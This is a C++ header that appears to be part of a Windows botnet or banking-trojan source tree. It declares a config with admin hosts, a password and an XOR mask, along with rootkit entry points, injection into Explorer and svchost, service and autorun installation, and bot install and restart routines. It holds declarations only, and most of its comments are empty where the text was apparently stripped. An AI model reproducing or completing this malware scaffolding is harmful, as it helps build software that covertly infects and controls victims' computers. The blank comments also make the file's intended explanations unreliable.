#pragma once

#include "config.h"
#include "core\core.h"
#include "core\debug.h"
#include "core\injects.h"
#include "core\rand.h"
#include "AV.h"

//   state
const int NOT_DIRECT_INJECT = 0x0001; //     
const int NOT_USED_INJECT = 0x0002; //  
const int NOT_INSTALL_SERVICE = 0x0004; //   
const int NOT_INSTALL_AUTORUN = 0x0008; //   
const int EXTERN_NAME_MANAGER = 0x0010; //     ,    Config::nameManager
const int IS_DLL = 0x0020; //  
const int IS_SERVICE = 0x0040; //  
const int RUNNED_DUBLICATION = 0x0080; // 2- 
const int SPLOYTY_OFF = 0x0100; //  
const int RUNNED_UPDATE = 0x0200; //    
const int CHECK_DUPLICATION = 0x0400; //    (2-     )
const int PLUGINS_SERVER = 0x0800; //    ( )
const int NOT_USED_SCVHOST = 0x1000; //        ,       
const int NOT_EXIT_PROCESS = 0x2000; //      ,      ExitProcess
const int SERVER_NOT_PROCESS = 0x4000; //     

//      rootkit
typedef void (*typeFuncParamDWORD)( DWORD );

namespace Config
{

extern char PeriodConnect[MaxSizePeriodConnect];
extern char Hosts[MaxSizeHostAdmin];
extern char HostsAZ[MaxSizeHostAdmin];
extern char UserAZ[MaxSizeUserAZ];
extern char Password[MaxSizePasswordAdmin];
extern char VideoServers[MaxSizeIpVideoServer];
extern char FlagsVideoServer[MaxFlagsVideoServer];
extern char MiscState[MaxSizeMiscState];
extern char DateWork[MaxSizeDateWork];

#ifdef IP_SERVER_EXTERNAL_IP
extern char ExternalIP[48];
#endif

extern char UID[32];
extern char XorMask[32];
extern int waitPeriod; //      

extern char nameManager[32]; //   ,   
extern char fileNameBot[MAX_PATH]; //   ,       (    )
extern char fileNameConfig[MAX_PATH]; //     
extern char nameService[64]; // ,    
extern char TempNameFolder[16]; //     ,         
extern int AV;
extern char exeDonor[MAX_PATH]; //      svchost.exe

extern uint state; //  

extern char* BotVersion;
const int BotVersionInt = 10207;

// 
struct StruSleep
{
	byte day;
	byte month;
	ushort year;
};

bool Init();
StringBuilder& NameBotExe( StringBuilder& name );
StringBuilder& FullNameBotExe( StringBuilder& path );
StringBuilder& NameUserAZ( StringBuilder& userAZ );

bool CreateMutex();
void ReleaseMutex();
//       ,  path     
//  addFolder,       ( ,   ).
//cryptAddFolder = true,  addFolder 
bool GetBotFolder( StringBuilder& path, const char* addFolder = 0, bool cryptAddFolder = false );
bool GetDefBotFolder( StringBuilder& path, const char* addFolder = 0, bool cryptAddFolder = false );
//     
bool GetBotFile( StringBuilder& fileName, const char* name );
bool InitFileConfig( bool def );

//     
bool SaveNameManager();
//     ,    ,  
bool LoadNameManager( bool del = true );
//      
bool GetSleepingFileName( StringBuilder& fileName );
// true     , false -  
bool IsSleeping();
//    
void DelSleeping();
//    
uint GetDateWork();

}

bool InitRootkit();
DWORD WINAPI RootkitEntry( void* );
//   
DWORD WINAPI ExplorerEntry( void* );
//   
DWORD WINAPI ExplorerEntryFromService( void* );
//       
bool RunInExplorer( typeFuncThread func );
//   rootkit
void RunInExplorer2( SIZE_T param );
//   ,  runAdminPanel = true,    svchost    
void ExplorerLoop( bool runAdminPanel );
// 30   
bool WaitRunExplorer();
// 
bool StartBot();
// ,    ,    
bool RestartBot();
// ,    ,   svchost.exe
//  ,          
// dropper = true,     ,  
bool StartBotApart(bool dropper = false);
//  Rootkit  func   param,    
bool InjectCrossRootkit( typeFuncParamDWORD func, DWORD param );
//       rootkit
void SetInjectPID( DWORD pid );
//     rootkit
bool InjectToProcessRootkit( DWORD pid, typeFuncThread func );
// svchost  
DWORD JumpInSvchostRootkit( typeFuncThread func );
// 
bool InstallBot( StringBuilder& path );
//    
DWORD WINAPI InstallBotThread( void* );
